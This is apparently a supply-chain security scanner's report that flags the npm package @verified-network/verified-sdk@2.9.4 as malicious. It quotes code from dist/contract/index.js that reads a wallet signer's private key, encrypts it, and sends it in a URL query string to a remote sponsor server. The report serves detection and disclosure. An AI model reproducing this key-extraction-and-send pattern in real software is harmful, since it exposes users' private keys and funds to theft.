@verified-network/verified-sdk@2.9.4: Malicious npm security | LPM Firewall

Loading npm security reports…

@verified-network/verified-sdk@2.9.4: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

.yarn/install-state.gzView file

•path = .yarn/install-state.gz kind = high_entropy_blob sizeBytes = 226705 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

.yarn/install-state.gzView on unpkg

•path = .yarn/install-state.gz kind = payload_in_excluded_dir sizeBytes = 226705 magicHex = [redacted]

High

Payload In Excluded Dir

Package hides binary, compressed, or executable-looking payloads in test/fixture/hidden paths.

.yarn/install-state.gzView on unpkg

•path = .yarn/install-state.gz kind = compressed_blob sizeBytes = 226705 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

.yarn/install-state.gzView on unpkg

dist/abi/assetmanager/Vault.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 19

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/abi/assetmanager/Vault.jsonView on unpkg

dist/contract/index.jsView file

240// 4. Encode the user's private key text into bytes const encoder = new TextEncoder(); const dataToEncrypt = encoder.encode(_pk); // 5. Encrypt the data const encryptedBuffer = await crypto.subtle.encrypt({ name: "RSA-OAEP" }, publicKey, dataToEncrypt);

High

Ai Review Evidence

Runtime code extracts a signer's private key and encrypts it with a bundled public key.

dist/contract/index.jsView on unpkg · L240

414const signerAny = this.signer; const signerPk = signerAny?._signingKey?.()?.privateKey; if (!signerPk) { //no pk on signer. Assume it's web wallets and use ethers console.log("Signer incomplete, will use ethers"); return await this.callFunctionWithEthers(functionName, ...args); } else if (signerPk) { //pk exists signer. try gassless/erc20 first then ethers if they failed if (optionsRaw[0]?.paymentToken) { console.log("Using ERC20

High

Ai Review Evidence

Supported-chain contract calls automatically select the gasless path when a private-key signer is present.

dist/contract/index.jsView on unpkg · L414

463const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL; const response = await fetch(`${sponsorUrl}/sponsorship/fee/${chainId?.toString()}?paymentToken=${paymentTokenAddress}&pk=${encryptedPk}&tx=${JSON.stringify(tx1)}`, { method: "GET", headers: { "Content-Type": "application/json", }, });

Lines 394-434javascript

394 chains_1.polygon,

395 chains_1.sepolia,

396 chains_1.baseSepolia,

397 chains_1.arbitrum,

398 chains_1.arbitrumSepolia,

399 ].find((nt) => Number(nt?.id) === Number(chainId));

400 if (!chainToUse) {

401 throw new Error(`Chaind id: ${chainId} not supported on Verified Sdk. Supported chain ids are: ${[

402 chains_1.base,

403 chains_1.mainnet,

404 chains_1.gnosis,

405 chains_1.polygon,

406 chains_1.sepolia,

407 chains_1.baseSepolia,

408 chains_1.arbitrum,

409 chains_1.arbitrumSepolia,

410 ]

411 ?.map((nt) => nt?.id)

412 ?.join(", ")}`);

413 }

414 const signerAny = this.signer;

415 const signerPk = signerAny?._signingKey?.()?.privateKey;

416 if (!signerPk) {

417 //no pk on signer. Assume it's web wallets and use ethers

418 console.log("Signer incomplete, will use ethers");

419 return await this.callFunctionWithEthers(functionName, ...args);

420 }

421 else if (signerPk) {

422 //pk exists signer. try gassless/erc20 first then ethers if they failed

423 if (optionsRaw[0]?.paymentToken) {

424 console.log("Using ERC20 payment with paymentToken of: ", optionsRaw[0]?.paymentToken);

High

Ai Review Evidence

Supported-chain contract calls automatically select the gasless path when a private-key signer is present.

dist/contract/index.jsView on unpkg · L414

425 return await this.callFunctionWithAlchemyClient(chainId, tx1, functionName, optionsRaw[0]?.paymentToken, signerPk, undefined, ...args);

426 }

427 else {

428 console.log("Using gassless sponsorship since no payment token");

429 return await this.callFunctionWithAlchemyClient(chainId, tx1, functionName, "0x", signerPk, true, ...args);

430 }

431 }

432 }

433 else {

434 //call contract through normal ether.js

Lines 443-483javascript

443 chains_1.base,

444 chains_1.mainnet,

445 chains_1.gnosis,

446 chains_1.polygon,

447 chains_1.sepolia,

448 chains_1.baseSepolia,

449 chains_1.arbitrum,

450 chains_1.arbitrumSepolia,

451 ].find((nt) => Number(nt?.id) === Number(chainId));

452 const signerAny = this.signer;

453 const signerPk = signerAny?._signingKey?.()?.privateKey;

454 const encryptedPk = await this.encryptPrivateKey(signerPk, chainId);

455 if (chainToUse && paymentTokenAddress && encryptedPk?.length > 0) {

456 try {

457 let fn = this.contract.populateTransaction[functionName];

458 let _res = await fn(...args);

459 const tx1 = {

460 to: this.contract.address,

461 data: _res.data,

462 };

463 const sponsorUrl = constants_1.PaymasterConstants.HOSTED_SPONSOR_URL;

464 const response = await fetch(`${sponsorUrl}/sponsorship/fee/${chainId?.toString()}?paymentToken=${paymentTokenAddress}&pk=${encryptedPk}&tx=${JSON.stringify(tx1)}`, {

465 method: "GET",

466 headers: {

467 "Content-Type": "application/json",

468 },

469 });

High

Ai Review Evidence

The encrypted private key is sent to the vendor gateway in a GET URL query parameter.

dist/contract/index.jsView on unpkg · L463

470 if (response.ok) {

471 const feeRes = (await response.json()) || { maxAmount: "0" };

472 return {

473 tokenAddress: paymentTokenAddress,

474 amount: feeRes?.maxAmount,

475 amountInWei: feeRes?.maxAmount,

476 amountValue: feeRes?.maxAmount,

477 chainId,

478 functionName,

479 };

480 }

481 }

482 catch (err) {

483 if (err?.message?.includes("fn is not a function") ||